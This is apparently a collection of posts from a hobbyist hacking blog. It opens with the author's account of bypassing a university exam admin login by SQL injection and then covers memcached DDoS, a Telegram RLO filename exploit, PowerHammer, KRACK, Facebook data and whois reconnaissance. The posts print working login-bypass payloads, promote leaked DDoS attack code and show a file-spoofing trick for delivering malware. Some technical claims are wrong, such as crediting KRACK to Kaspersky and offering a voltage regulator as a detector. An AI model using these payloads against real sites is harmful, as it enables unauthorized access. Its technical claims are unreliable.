How I hacked GTU's Website - Admin Panel hack - Exams site - SQL Injection

Once again, a flaw was found in GTU's website. But this time it's different as I found it :). BTW, if you don't know about last hack on GTU's research website, you can find it here. Now, let's talk about this hack.

I was just frustrated of exams and so spent some time surfing and reading on things other than the paper I had next day. I had some work to do with the GTU Research Dept. and so was searching for a link of some form. But then on Google, I found a website

https://www.gtuexams.in/

whose description read GTU Admin Panel. I haven't seen that website before and so gave to thought to see what was the purpose of that site. As soon as I opened the site, it brought me to a login page of administrator.

Before telling you more on what I did and how I hacked the site, let me tell you what was the purpose of that site and what might have happened if someone else (except me) hacked that site (because I am ethical - I follow rules meant for peace and freedom). This website is exactly what the description said. There are many courses going on in GTU like UG courses, PG courses, PhD courses and many more. According to the courses, it provides a login page where the colleges registered for that courses can login. Each college has been assigned an administrator account. Colleges are meant to upload details about students, professors and assistants who are a part of that college. This is all about human resource but this site is specifically for things related to exams.

That means, which student has paid the fees and eligible for exam and who is suspended. Also, you can suspend a student using this admin portal. Other exam related updates like question paper dates, marks, etc. are also a part of this website. In short, each and every information related to exams was available on this site and the admin could modify this information. Now, just think of the consequences of what might have happened if some wrong personality got into this site. I don't need to list the consequences as you are capable of thinking that yourself.

Moreover, this has been my second vulnerability report. The first one was when I found the rsync server password in plain text of the Stanford University's server. I mailed them but no response. But GTU is better in this case (not talking about education system XD). I just sent a mail to 2 different email ids of GTU but one of them was deactivated. I got a response from a person at GTU within 24 hours. At first, he didn'i believe me and asked if I can tell him username and password of any single registered account. I just explained him that no one can get plain text passwords except the owner leaks it intentionally or unintentionally. And there are other ways you can get into account even when you don't have username and password. That's what SQLi is meant for.. It doesn't get into OWASP's top 10 attacks list without any purpose and that too with a high rank (3).

 

After sending a proof photo, he believed me and asked for the solution and here it is now.. The website is patched of this vulnerability.

Now, let's focus on how to hack rather than discussing what I did. But before that, let me share the proof image with you and make you believe that this works.

SQL Injection

Structured Query Language (SQL) is used to query, operate, and administer database systems such as Microsoft SQL Server, Oracle, or MySQL. The general use of SQL is consistent across all database systems that support it; however, there are intricacies that are particular to each system.

Database systems are commonly used to provide backend functionality to many types of web applications. In support of web applications, user-supplied data is often used to dynamically build SQL statements that interact directly with a database. A SQL injection attack is an attack that is aimed at misusing the original intent of the application by submitting attacker-supplied SQL statements directly to the backend database. Depending on the web application, and how it processes the attacker-supplied data prior to building a SQL statement, a successful SQL injection attack can have far-reaching implications. The possible security ramifications range from authentication bypass to information disclosure to enabling the distribution of malicious code to application users.

Note what I mentioned above is submitting the user input directly i.e. without any preprocessing may lead to SQLi. Hence, the short and simple answer to avoid SQLi is to preprocess the input taken from user, identify threats in it and then submit the inputs for database query. Let us see the same with an example.

One of the many possible uses for SQL injection involves bypassing an application login process. The following example illustrates the general operation of a SQL injection attack. An application with a vulnerable login process may accept the submitted information and use it as part of the following SQL statement, which locates a user profile that contains the submitted username and password:

select * from Users where (username = 'submittedUser' and password = 'submittedPassword');

For example, if an application accepts and processes user-supplied data without any validation, an attacker could submit a maliciously crafted username and password. Consider the following string sent by an attacker:

username=admin%27%29+--+&password=+

Once this string is received and URL-decoded, the application will attempt to build a SQL statement using a username of admin') -- and a password that consists of a single space. Placing these items into the previous SQL statement yields:

select * from Users where (username = 'admin') -- and password = ' ');

The string of two dash characters (--) that appears in the crafted input is very important; it indicates to the database server that the remaining characters in the SQL statement are a comment and should be ignored. So, the backend of web application will only check for a matching username without performing a password check and hence, one can easily login into a website if they know a username.

But there's a twist. I didn't knew username of any user account before I hacked the site. Still I was able to login to the account. That's because of a single reason - all the web applications doesn't have the same backend code like 'select * from ...'. And according to the backend logic, we need to try different user input formats to get into a website. Suppose that the SQL syntax was different than the one shown above. Suppose, it was like:

select * from Users where username = 'submittedUser';

select * from Users where password = 'submittedPassword';

And then it matched the username and password separately to login. Then the above described user input wouldn't work as it won't find a variable named submittedPassword  when trying to execute the 2nd line of code. Here, the commenting using '--' wouldn't work as the semicolon at the end of 1st line defines the end of comment as well as 1st statement. So, the application would throw an error specifying 'Please provide a password.' This was the case with GTU exams website and so I tried a new modified input as:

username=abc' or 1-1--

password=pqr' or 1=1--

Here, we provide separate values for username and password and add comments to both statements. Here. the OR operator does the task. It just performs a check for '1=1' which is always true and hence I logged in successfully.

That's all about this.. But an extra note - the use input for performing SQLi varies with the varying backend code. So, there are various forms of user input and without knowing the backend script (which you won't), you need to try all of them.

The good news are here.. The site is patched! Ending this article with a last picture.

For any query, just post a comment here.. Thank you!

Read More

PowerHammer - Steal data via power lines - Computer not connected to any network can be hacked!

Till now, we have seen various hacks performed through networks (mostly, the internet). But today, I will show you how to hack a computer which isn't connected to any network. Here, you will learn to hack a computer via powerlines. Powerline means the electrical line through which computers get their power - the electricity lines.

Seems, like a magic! But its the reality. Yes, I am late introducing you all to this master piece of hacking as I am busy with many other tasks. But I won't let you down. Articles of The Hacker's Library will always be the best quality articles with complete understanding. So, now let's start with the understanding of this hack.

You need to know a term called air-gapped computer to understand a point in this article. Air-gapping is a security measure that involves isolating a computer or network and preventing it from establishing an external connection. For example, an air gapped computer is one that is physically segregated and incapable of connecting wirelessly or physically with other computers or network devices. In short, air-gapping prevents the computer from being hacked by not connecting it to any network. And here's the trap... Here, you will learn to hack an air-gapped computer.

What happened?

A team of academics has successfully developed and tested malware that can exfiltrate data from air-gapped computers via power lines. The team —from the Ben-Gurion University of the Negev in Israel— named their data exfiltration technique PowerHammer.

PowerHammer works by infecting an air-gapped computer with malware that intentionally alters CPU utilization levels to make the victim's computer consume more or less electrical power.

Sound something like a James Bond movie? Well, the same group of researchers has previously demonstrated various out-of-band communication methods to steal data from a compromised air-gapped computer via light, sound, heat, electromagnetic, magnetic and ultrasonic waves. All these information is available on the net.

How it works?

By default, computers extract power from the local network in a uniform manner. A PowerHammer attack produces a variation of the amount of power a victim's PC sucks from the local electrical network. This phenomena is known as a "conducted emission."

By altering the high and low power consumption levels, PowerHammer malware can encode binary data from a victim's computer into the power consumption pattern. That is, once power hammer gets installed on your computer, it takes control over the processor. To do this, it need administrator privileges (in windows) or root level access (in linux). Once it gets the control, it will follow the following steps:

Step 1 - Read data from disk or memory.

Step 2 - Encode data in binary form and then digital signals containing 0s and 1s.

Step 3 - Send the data in form of current to the power lines. (Conversion from digital signals to analog signals is done automatically by the hardware - the malware just needs to force digital data into processor output lines.)

There are two types of PowerHammer attacks

Well, we have seen how the malware sends data into powerline. But how does the attacker receive this data? To retrieve this data, an attacker must tap a victim's electrical network so it can read the power consumption variation and decode the binary data hidden inside. Based where the attacker places his tapping rig, two types of PowerHammer attacks exists, with two different exfiltration speeds.

The first is "line level power-hammering," and this occurs when the attacker manages to tap the power cable between the air-gapped computer and the electrical socket. The exfiltration speed for a line level hammering is around 1,000 bits/second.

The second is "phase level power-hammering," this version of the attack occurs when the intruder taps the power lines at the phase level, in a building's electrical panel. This version of the PowerHammer attack is more stealthy but can recover data at only 10 bits/second, mainly due to greater amount of "noise" at the power line phase level.

The tapping device isn't anything super-advanced, being a mundane split-core current transformer that can be attached to any electrical line.

This is a non-invasive probe which is clamped around the power line and measures the amount of current passing through it (Fig. 10). The non-invasive probe behaves like an inductor which responds to the magnetic field around a current-carrying cable (Fig. 10 b). The amount of current in the coil is correlated with the amount of current flowing in the conductor. For our experiments we used SparkFun’s split core current transformer ECS1030-L72.

The tapping device (probe) is also capable of sending the recorded data to a nearby computer via WiFi, making data collection easier from afar, without the attacker having to physically connect to the tapping probe.

Scope of this attack

Experiments revealed the attack is successful for stealing data from air-gapped desktops, laptops, servers, and even IoT devices, but the speed exfiltration speed is slower for the latter. Another observation is that exfiltration speed gets better the more cores a CPU possesses.

Mitigations and more details for technically inclined users are available in the research team's paper, entitled "PowerHammer: Exfiltrating Data from Air-Gapped Computers through Power Lines." It also must be said that this malware is only an experiment and if ever deployed in the wild, such a tool would only be found in the arsenal of intelligence agencies and not something that normal users would see every day.

How to prevent yourself from this attack? 

To be true, I didn't knew much about this attack as it includes electrical components and all. Therefore, 50% of above data is just referred from another articles. But, of all the articles I reffered, there wasn't a part like how to prevent this attack. But I know a way to detect this attack and its very simple.

The attack works by sending data through powerlines and hence it has a side effect of increasing the voltage. So, just connect a Voltage Regulator between your computer and the circuit board. Hence, the current flows in the following manner: Computer <-----> Voltage Regulator <-----> Source Power.

If voltage stays high for a long time, you have probably been attacked!!

Where to find more information on this?

As I said above, I don't have much knowledge about it. I haven't implemented it yet and this was just the abstract of it. But what if you want to dive deep into this? This can be done as the authors of PowerHammer have published a research paper online. Thanks to them..

Here's the link of research paper: https://arxiv.org/abs/1804.04014

Thank you for reading this article.. If you got something to learn new, if you liked it, share it with your friends too.

Read More

Delete Facebook - theft of private data and data leakage - Downloading your own facebook data - Everything a facebook user should know

You might have heard in a last few days about everyone's facebook data getting leaked to a private company. How and why are some matters we will discuss about later but the most important concern is which data is getting leaked. The answer is, your private information. Facebook spies on you in one or the other way and gets all the information from your device. Also, you can't argue about this - because it is clearly mentioned in terms and conditions when you signup for a new facebook account. And without reading, you click "Agree and Continue". But let us leave that point and focus on what is happening now and how can you get a proof of it.

Let me share my own experience when I once doubted about this but didn't had any proof. A few months ago, I visited a family function (yep... you got it right - I didn't want to visit that). There I just meet a man who was in a far relation with our family. It was definitely the first time I was that person. And I was surprised the next day to see that person in my "facebook friend suggestions list". That day, I searched all over google to get the answer of - How did this happen! I surely doubted facebook spying on us - through our locations, phone calls, and more... But didn't get a single answer on google. What everyone said was - facebook uses master algorithms to get this data. And I was like - algorithms are meant to work on data and not to steal data. But as time passed, I forgot of it.

Here are some proofs to make this article interesting:

Click to view full size images. Explore more by yourselves... Steps are mentioned below in this article.

But now, its time for everyone to know. You probably know by now, that there is a #DeleteFacebook movement sweeping the internet. After the Cambridge Analytica scandal, users across the world are terrified that Facebook has been using their accounts against them. The Cambridge Analytica scandal is all over the internet from past few days. The story is short but not sweet. Once, Facebook signed a deal with Cambridge Analytica to provide them users' information for analysis. But afterwards, they got a change of mind and asked Cambridge Analytica to stop retrieving the users' data from Facebook servers. Cambridge Analytica, on receiving this message, sent a message to Facebook that they agree to stop getting data from analysis from Facebook servers. And you know what - facebook was happy with that message. They didn't took this thing seriously, they didn't crosscheck if the message they received was just a message or the task was actually implemented. And now, after 3 years, they came to know that Cambridge Analytica didn't stop spying on users' data.

It all started when the scandal was brought to light after a whistleblower at Cambridge Analytica, a consulting firm for Trump's campaign, admitted that they had access to millions of users' Facebook data. After this, it didn't take long for users to realize that they were able to download their own "Facebook Data" in order to find out exactly what information companies like Cambridge Analytica have on users like us.

And then, users' started implementing the job to see which data was actually leaked. And the result was completely terrifying. First, let us learn how to download your facebook data in 5 simple steps:

1. Open your facebook home page. Go to settings.
2. Click your facebook "General Account" settings.
3. Click "download a copy of your facebook data".
4. Verify that you would like the data file downloaded and sent to your email. (Wait for some minutes so that the compressed file is ready)
5. Open your email and download the file.

After downloading the file and investigating exactly what information Facebook has stored on you, you may contemplate deleting your account or at least limiting your information. Users that have downloaded their own data files have found extensive information on their previous contacts, call history, private telephone numbers from their phones, dozens of companies targeting them for ads, and complete conversations from Messenger.

See the below real time examples if you don't trust The Hacker's Library:

If you never understood what "being a product on $FB " means, go to Settings -> "Download a copy of your Facebook data." and then go to Ads tab to see the list of the companies that acquired your data. Mine is so long that it couldn't fit on my 34' monitor. pic.twitter.com/dIydW9o5ND

— Łukasz Strzałkowski (@lukaszx0) March 22, 2018

Following the examples of others I recently downloaded a copy of my #FacebookData they even have record of private telephone numbers of contacts from my address book who are not on the platform! Totally reconsidering my presence there. pic.twitter.com/jt3Oiaj18D

— seawildearth (@seawildearth) March 23, 2018

Downloaded my facebook data as a ZIP file

Somehow it has my entire call history with my partner's mum pic.twitter.com/CIRUguf4vD

— Dylan McKay (@dylanmckaynz) March 21, 2018

Well, that's it. Are you going to delete your account? Or just post less information on Facebook?

Read More

Source code for massive memcached server attack leaked - Memcrashed code made public

Its the time when everyone can attack. You, me and everyone else with the code can now perform a DDoS attack using the memcached servers. In this article you will find the source codes of the massive DDoS attack performed using memcached.

First, make a note of this - 

I am not liable for any kind of misuse of this codes. You are on your own. This article is only for sharing information and its misuse is not promoted by me.

This article is linked to the previous article I wrote, so kindly read the previous article if you haven't. The whole thing is what people call Memcrashed. If you don't know what it is - its just a simple way of performing the world's largest DDoS attack. For more info, I would recommend you to read the below articles -

• Who performed the largest DDoS attack on GitHub and How?
• The Biggest DDoS attack on GitHub using Memcached Server

After reading the following articles, everything here will make sense to you. You, too, can now attempt a record-setting denial-of-service attack, as the tools used to launch the attacks were publicly posted this week.

This code were released as a proof-of-concept code making programmers aware of how this thing works. There were intotal two codes released. One was released by @037 twitter user, and the author of the other is still unknown. Code released by @037 is written in python while the other is writtern in C.

The python code scans for memcached servers using shodan search engine API. Then it starts the attack depending on the input provided by the user. It’s been just over a week since the first massive memcache-fueled denial of service attack. The code’s authors says it’s being released “to bring more attention to the flaw and force others into updating their devices.”

Akamai and Cloudflare predicted more attacks following the record-setting efforts. Cloudflare CEO Matthew Prince said he was seeing separate attacks of a similar size last week.

“Looking at shodan.io indicates there are many more than just 17,000 Memcached servers that can be used for DDoS attacks,” said Ashley Stephenson, CEO of Corero. “If the vulnerable servers on the list are utilized for attacks they can be neutralized with the kill switch by sending just 17,000 packets, one to each attacking server, neutralizing their DDoS potential until they are reloaded by the attacker which take 10,000 times longer. Corero has announced today that the ‘flush-all’ command can be used as a benign active defense ‘kill switch’ by those being attacked to suppress attacks from the compromised Memcached server.”

This vulnerability has existed since a decade and now more and more attacks of this type are possible because of the source code leak. Wasting no more time, I am providing the links to download the codes.

1. C language code 
2. Python code 

 Enjoy.. but remember - No Misuse...

Read More

The Biggest DDoS attack on Github using Memcached Servers - Survived

Brief News:- On Wednesday, at about 12:15 pm ET, 1.35 terabits per second of traffic hit the developer platform GitHub all at once. However, the attack cannot take the server down. GitHub managed to tackle the attack and it lasted for less than 10 minutes.

Seems great, right! 1.35 terabits of traffic using botnets. What do you think about how many botnets might have been required? And it would be surprising to tell you that this is a new method which doesn't use Botnet. Rather, it uses only a single server - Memcached Server. It was the most powerful distributed denial of service attack recorded to date—and it used an increasingly popular DDoS method, no botnet required.

Before going into deep about what happened, let us understand how this attack can be done. This is something you will find in all my articles because I believe that having the knowledge of what happened doesn't help. One should also have the knowledge of how it happened. And that's the reason why I always specify the method of attack. Let us start by learning what is memcached server and how are they exploited to perform this kind of attack.

What is a Memcached Server?

Memcached Servers are used to cache small chunks of data in the memory of a server. Think of the time required to retrieve data from the database by making queries to it and then converting that data into a readable format. What if a server finds out that a piece of information stored in database is accessed frequently! The server can access that data once and then store it into the cache i.e. memory. Now, only a memory read needs to be performed to access the data.

Memcached is a distributed caching system used for this purpose. It stores the data in dictionary form using key-value pairs. And hence, speedily access to data can be done. Hence, it works to speed up servers and websites.

How can a Memcached Server be exploited to DDoS?

Memcached servers generally return a large amount of data in response to a small request. Also, it works over UDP on port 11211. These are the two things which are taken as an advantage to exploit the server.

Crooks send small byte-sized requests to Memcached servers on port 11211. Because the UDP protocol wasn't implemented correctly, instead of responding with a similar or smaller packet, Memcached servers respond with packets that are sometimes thousands of times bigger than the initial request. The next trick is called an amplification attack, and it exploits UDP. UDP (as opposed to TCP) is like the early post office; you send mail and hope it gets there, and if it doesn't then you have no control over it. There’s no handshaking between communicating computers. When a device sends a UDP packet to a server, it includes the return address so that the server can send the response back. If the device sends a carefully crafted fake request with a different return address, then the server will send the response to that spoofed return address. Hence, the return address field in the request packet is spoofed to the target's (victim's) address.

In the DDoS community, this type of DDoS attack is named reflective DDoS or reflection DDoS. The amount of times the response packet size is amplified is the DDoS attack's "amplification factor". By a research, it is found that the amplification factor of a memcached server can reach a massive 51,200.

Now you know how the attack is performed, let's take a look a the news...

What Happened?

GitHub briefly struggled with intermittent outages as a digital system assessed the situation. Within 10 minutes it had automatically called for help from its DDoS mitigation service, Akamai Prolexic. Prolexic took over as an intermediary, routing all the traffic coming into and out of GitHub, and sent the data through its scrubbing centers to weed out and block malicious packets. After eight minutes, attackers relented and the assault dropped off.

“We modeled our capacity based on fives times the biggest attack that the internet has ever seen,” Josh Shaul, vice president of web security at Akamai said hours after the GitHub attack ended. “So I would have been certain that we could handle 1.3 Tbps, but at the same time we never had a terabit and a half come in all at once. It’s one thing to have the confidence. It’s another thing to see it actually play out how you’d hope."

GitHub continued routing its traffic through Prolexic for a few hours to ensure that the situation was resolved. Akamai's Shaul says he suspects that attackers targeted GitHub simply because it is a high-profile service that would be impressive to take down. The attackers also may have been hoping to extract a ransom. "The duration of this attack was fairly short," he says. "I think it didn’t have any impact so they just said that’s not worth our time anymore."

As a result, everyone thought that memcached process should not be available for public. It should be kept private for the servers. The infrastructure community has also started attempting to address the underlying problem, by asking the owners of exposed memcached servers to take them off the internet, keeping them safely behind firewalls on internal networks. Groups like Prolexic that defend against active DDoS attacks have already added or are scrambling to add filters that immediately start blocking memcached traffic if they detect a suspicious amount of it. And if internet backbone companies can ascertain the attack command used in a memcached DDoS, they can get ahead of malicious traffic by blocking any memcached packets of that length.

This was everything you need to know about the news... Thanks.

Read More

Zero-day vulnerability in Telegram exploited by Cyber Criminals to mine Cryptocurrency - Everything you need to know along with source code of miners

Inshort :- A zero-day vulnerability has been discovered in the desktop version for end-to-end encrypted Telegram messaging app that was being exploited in the wild in order to spread malware that mines cryptocurrencies such as Monero and ZCash.

In October 2017, a security researcher Alexey Firsh from Kaspersky Lab found a vulnerability in Telegram Desktop app. Also, the vulnerability is reported but there are no steps taken till now. That's the reason it is known as zero-day vulnerability in Telegram. It affects only the Windows client of Telegram messaging software.

This flaw can be used in many ways to install any kind of malicious software on someone's PC without their consent. And attackers take it as a benefit and have actively exploited this flaw to inject viruses, ransomware, to spy on someone, steal private information and more. Not only this, but from the past 2 days this flaw is also exploited to mine cryptocurrency on someone's desktop.

To know more about this, one should first know what actually the vulnerability is and how can it be exploited. After that, we sill see how this vulnerability can be used for making further attacks. So, let's get started...

What exactly the flaw in telegram is and how is it exploited?

Basically, everything starts by knowing that there are two kind of human languages. One that is written from left-to-right and other is written from right-to-left. We all know many languages that are written from left-to-right such as English language. But the languages like Arabic or Hebrew are written from right-to-left. Oh... you might be thinking why this is so important to know in a field like hacking! So, let's move forward.

The vulnerability resides in the way Telegram Windows client handles the RLO (right-to-left override) Unicode character (U+202E), which is used for coding languages that are written from right-to-left. This Unicode character is used to display the string from right-to-left instead of left-to-right.

In the Unicode character table, it is represented as ‘U+202E’; one area of legitimate use is when typing Arabic text. In an attack, this character can be used to mislead the victim. It is usually used when displaying the name and extension of an executable file: a piece of software vulnerable to this sort of attack will display the filename incompletely or in reverse.

Now let's see how this concept is used in performing hacks. Below is an account of how this vulnerability was exploited in Telegram:

• The cybercriminal prepares the malware to be sent in a message. For example, a JS file is renamed as follows:
  
  evil.js -> photo_high_re*U+202E*gnp.js
  
  Where *U+202E* is the RLO character to make Telegram display the remaining string gnp.js in reverse. Note that this operation does not change the actual file – it still has the extension *.js.
• The attacker sends the message, and – surprise! – the recipient sees an incoming PNG image file instead of a JS file:

Hence, this kind on vulnerability makes a user download a malicious software on his/her desktop and then that script gets executed and everyone here knows what will happen next. The piece of malware installed can download another payload from some insecure website, turn windows security down, take control over startup of the desktop and much more. That means, you can do anything you want once you get control of the system by installing malware on it.

Update:- Source code of malware and cryptocurreny miners is removed from this site due to leak of harmful data. And I would not take the responsibility of its misuse, so it was better to remove it from here. Though, I am dropping a link at the end of this article to a website where you can find them. Take a risk to visit it if you want.

How is it used to mine cryptocurrency?

The task in done in various small steps. In the first step, the malware gets installed on the system and takes remote control of the system. Hence, now it can do whatever the hell it wants. It uses telegram API to find a bot that can control the whole system remotely.

Click to see full size image

Now the thing is, how is this bot able to control the whole system. Thanks to Telegram that it allows bots to execute commands on the system. The bot sends malicious commands and they are run on your system. On analyzing, security researchers found that this commands are written in Russian. The list of supported commands shows that the bot can silently deploy arbitrary malicious tools like backdoors, loggers and other malware on the target system. 

The next step taken by this malware is, it changes the Windows Startup Registry and makes a place for itself inside it. That makes this malware run everytime your Computer boots up. Now, at this stage malware has got a way to get inside your memory everytime you boot up your desktop.

In this last stage, it downloads a cryptocurrency miner from untrusted websites and install them on your PC. It also adds the miner in startup so that mining starts as soon as you start your OS. Also much more was discovered about its use and one such thing I would like to mention here is, the malware also installed a spyware on the system. An FTP server was found with dumps of Telegram Users' data. Mentioning everything here is out of my capacity - just google it.

How to protect yourself?

The best way to protect yourself from such attacks is not to download or open files from unknown or untrusted sources. The security firm also recommended users to avoid sharing any sensitive personal information in messaging apps and make sure to have a good antivirus software from reliable company installed on your systems.

Stay in touch for more updates.. Thanks!

Read More

Whois Lookup - Gather Information through Whois Footprinting

Hello friends... This is out 100th article today. And we are excited to get response from all of you. Just before starting to study this topic, I would like to inform you that all the articles from now onward will be most important in hacking. Because this is the point at which real hacking starts. The previous articles might not seem much interesting to all but they were important for the "n00bs". A reason why this site will be the best in future - We post everything. Everything at one place - sooner or later this will become number one site to study hacking.

Now, related to this article... Basically, everything from now on will be related to hacking and IP address and concepts of network and domains in main. So, I suggest you to read the articles on IP address, domains and networking first. This is basically important as you know - A server is hacked by its IP address and an attacker is also tracked by using a unsecured network and IP address.

What is Whois?

Whois, as the name implies, is a protocol granting users access to the massive database of registered owners of an internet resource such as an autonomous system, an IP block, and a domain name, among others. In other words, it is a query and response protocol that lets users find out ‘who is’ the registered owner of a domain by simply typing the exact domain name.

The protocol, in return, will deliver the response in a format that is readable to the human. A more detailed specification of the Whois protocol can be found in RFC 3912. Here are a few reasons why people are conducting a Whois search:

• Domain buying and trading
• Check domain expiration
• Find out domain owner identity
• Find out location and address of the owner
• Marketing purposes

Based on the above usage, the importance of a Whois search is clear. But why is Whois important to Hackers? And how is it important? These are the two questions which will be answered here...

How to perform a Whois Lookup?

To understand the importance of Whois in hacking, we will study an example of whois lookup. And to study the example, you need to know about how to perform whois lookup.

Doing a Whois lookup is very simple and quick. There are only a few easy steps to make, and the results will be instantly shown in a few seconds. The procedures are as follows:

1. Visit https://whois.net
2. Enter the domain name your want to lookup in the search box
3. Hit the ‘GO’ button

The results will immediately show up in the next few seconds, depending on your internet speed. Other websites can also be used for Whois Lookup. My personal favourite is - https://www.whois.com/whois/

Below is the information obtained by whois lookup of the domain "gtu.ac.in".

Domain Information
Domain: gtu.ac.in
Registrar: ERNET India (R9-AFIN)
Registration Date: 2008-07-15
Expiration Date: 2026-07-15
Updated Date: 2017-01-27
Status: ok

Name Servers:
ns-602.awsdns-11.net
ns-355.awsdns-44.com
ns-1775.awsdns-29.co.uk
ns-1501.awsdns-59.org

Registrant Contact
Name: gujarat technological university
Organization: gujarat technological university
Street: JACPC building l d college of engineering campus
City: ahmedabad
Postal Code: 380015
Country: IN
Phone: +91.9909980005
Email: registrar@gtu.ac.in

Administrative Contact
Name: n n bhuptani
Organization: gujarat technological university
Street: JACPC building l d college of engineering campus
City: ahmedabad
Postal Code: 380015
Country: IN
Phone: +91.9909980005
Email: registrar@gtu.ac.in

Technical Contact
Name: Harshad Borisa
Organization: gujarat technological university
Street: Gujarat Technological University JACPC building L. D. college of engineering campus
City: ahmedabad
State: Gujrat
Postal Code: 380015
Country: IN
Phone: +91.7926301500
Email: rupendra@gtu.edu.in

As you can clearly see, whois lookup provides us with the details such as:

• Domain expiry date
• Email address of owner
• Mobile number of owner
• Address of owner
• IP address or IP block
• And much more...

Based on this information, the importance of whois is determined. Take note that the registrant’s details may vary based on the Top Level Domain, or TLD. Some TLDs will not show all information of the registrant, while others will not show any detail at all. Also, the owners’ information may be concealed if they are subscribed to the domain privacy, and the domain registrar’s information and contact details will be shown, instead.

Importance of Whois Lookup

Whois lookup is useful in many ways depending on the motive of the person performing lookup. There are various things to be applied on whois lookup but the two of them which are mostly used are listed below...

• If you are defender, it can help you in tracking down the attacker - You can perform whois lookup on the attacker's IP address and find out the ISP and the location of the ISP which provided IP address to the attacker. Then contact the ISP to reveal other details.
• If you are on the attacking side, it helps you finding targets to attack - Based on the information available, you can contact the owner and try some social engineering tricks on him/her.

Being able to identify the owner of a domain is one advantage that benefits many users. However, there is also a major disadvantage that comes with it, which is lack of privacy on the part of the domain owner since their identities are made public. Prior to the domain registration, user are required to reveal their full name, address, and contact details such as email address and phone numbers. This is in compliance to the stipulations of Internet Corporation for Assigned Names and Numbers or ICANN, mandating that the registrants’ details be made publicly available through the Whois directories. This provides an entry point for spammers and marketers to grab email addresses and phone numbers for their marketing and spamming activities.

Due to the massive criticism on lack of privacy, most domain registrants like GoDaddy and Hostgator are now offering domain privacy that provides privacy to the owners by concealing some details of their personal information. In this case, the contact information of the registrar is displayed instead of the domain owner. But such feature is available at a premium price.

The above article provides the complete information about Whois Lookup. If you still don't understand how to use it, comment below your queries. If you still don't understand where to use it, then wait for it.

Remember - Hacking is not performed using a single trick or tool. One needs to combine the power of everything he/she has to perform hacking. And you are learning a small part of it to develop your powers. Learn everything separately and combine them at a time.

Read More

KRACK - WiFi devices all over the world are Hackable..! - Everyone's data is at risk - Everything you need to know

Hello friends.. Here you are about to find the most important and something unbelievable about the WiFi networks we use daily. What if someone tell you that your WiFi is hackable! Or what if I tell you that all of your private data in this world is hackable. And everyone is at risk! Some of you won't believe me but this has become a reality and you can't neglect it.

Till now, all we knew about WiFi hacking was hacking passwords and WiFi sniffing attacks. Also these attacks were not successful on all WiFi devices. But now, there is something big. All the wifi devices are hackable. And the attacker can get all your private data through it. Hence, this is something serious that should be taken care of. I expect you to read this whole article, take the corrective steps and share this post on facebook, whatsapp and all other social media websites to make people aware of the the big risk they are in.

Introduction

Most vulnerabilities go unnoticed by the majority of the world’s population even if they affect several million people. But this news, published yesterday, is probably even bigger than all other security breaches and affects several billion people all over the world: Researchers have found a bunch of vulnerabilities that make all Wi-Fi networks insecure.

Researchers have found out that devices based on Android, iOS, Linux, macOS, Windows, and some other operating systems are vulnerable to some variation of this attack, and that means almost any device can be compromised. They called this type of attack a key reinstallation attack, or KRACK for short.

What is KRACK?

The attack is against the 4-way handshake of the WPA2 protocol. This handshake is executed when a client wants to join a protected Wi-Fi network, and is used to confirm that both the client and access point possess the correct credentials (e.g. the pre-shared password of the network). At the same time, the 4-way handshake also negotiates a fresh encryption key that will be used to encrypt all subsequent traffic. Currently, all modern protected Wi-Fi networks use the 4-way handshake. This implies all these networks are affected by (some variant of) our attack. For instance, the attack works against personal and enterprise Wi-Fi networks, against the older WPA and the latest WPA2 standard, and even against networks that only use AES. All the attacks against WPA2 use a novel technique called a key reinstallation attack (KRACK).

Now to understand how KRACK works, we need to know how the WiFi devices work.

The process of connecting to a Wi-Fi network

When a client joins a network, it executes the 4-way handshake to negotiate a fresh encryption key. It will install this key after receiving message 3 of the 4-way handshake. Once the key is installed, it will be used to encrypt normal data frames using an encryption protocol. However, because messages may be lost or dropped, the Access Point (AP) will retransmit message 3 if it did not receive an appropriate response as acknowledgment. As a result, the client may receive message 3 multiple times. Each time it receives this message, it will reinstall the same encryption key, and thereby reset the incremental transmit packet number (nonce) and receive replay counter used by the encryption protocol. The researchers at Kaspersky Lab found that an attacker can force these nonce resets by collecting and replaying retransmissions of message 3 of the 4-way handshake. By forcing nonce reuse in this manner, the encryption protocol can be attacked, e.g., packets can be replayed, decrypted, and/or forged. The same technique can also be used to attack the group key, PeerKey, TDLS, and fast BSS transition handshake.

I am damn sure that some of our readers will not understand what is written above (as it requires the concepts of networking to be clear) but the latter part will make everything clear.

How does the KRACK attack work?

To perform this attack, the attacker has to set up a Wi-Fi network with the same name (SSID) as that of an existing network and target a specific user. When the attacker detects that the user is about to connect to the original network, they can send special packets that make the device switch to another channel and connect to the fake network with the same name.

After that, using a flaw in the implementation of the encryption protocols they can change the encryption key the user was using and thus access all of the information that the user uploads or downloads.

One may argue that there’s another layer of security — the encrypted connection to a site, e.g., SSL or HTTPS. However, a simple utility called SSLstrip set up on the fake access point is enough to force the browser to communicate with unencrypted, HTTP versions of websites instead of encrypted, HTTPS versions, in cases where encryption is not correctly implemented on a site (and that is true for quite a lot of websites, including some very big ones).

So, by using this utility in their fake network, the attacker can access the users’ logins and passwords in plain text, which basically means stealing them. And not only the plain login passwords but all the data which goes into plain text form is accessible by the attacker. Even OTPs are accessible. So, now you know - What the heck.!

Let me give you a short information about SSLStrip. SSLStrip is a type of MITM attack that forces a victim's browser into communicating with an adversary in plain-text over HTTP, and the adversary proxies the modified content from an HTTPS server. To do this, SSLStrip is "stripping" https:// URLs and turning them into http:// URLs. Hence, the data is transmitted in plain text form rather than encrypted form. So, finally you know that everyone including you is at risk.

How to stay secure?

The fact that almost every device in almost every Wi-Fi network is vulnerable to KRACK sounds quite scary, but like pretty much any other type of attack, this one is not the end of the world. Here are a couple of tips on how to stay safe. First of all, you should understand that - here the vulnerability lies in the protocols designed. Hence, you cannot do anything extra rather than depending on the company of your WiFi device.

• Always check to make sure there’s a green lock icon in the address bar of your browser. That lock indicates that an HTTPS (encrypted and therefore secure) connection to this particular website is being used. If someone attempts to use SSLstrip against you, the browser will be forced to use HTTP versions of websites, and the lock will disappear. If the lock is in place, your connection is still secure.
• Most of appliance manufacturers are in the process of issuing firmware updates that can fix the issue with key reinstallation. So check if there are fresh firmware updates for your devices and install them as soon as possible.
• You can secure your connection using a VPN, which adds another layer of encryption to the data transferred from your device.

So, now you know what to do - share this and spread awareness. Thank you..

Read More

Email Tracking - Track your email to know if the receiver opened it, clicked on a link and much more..

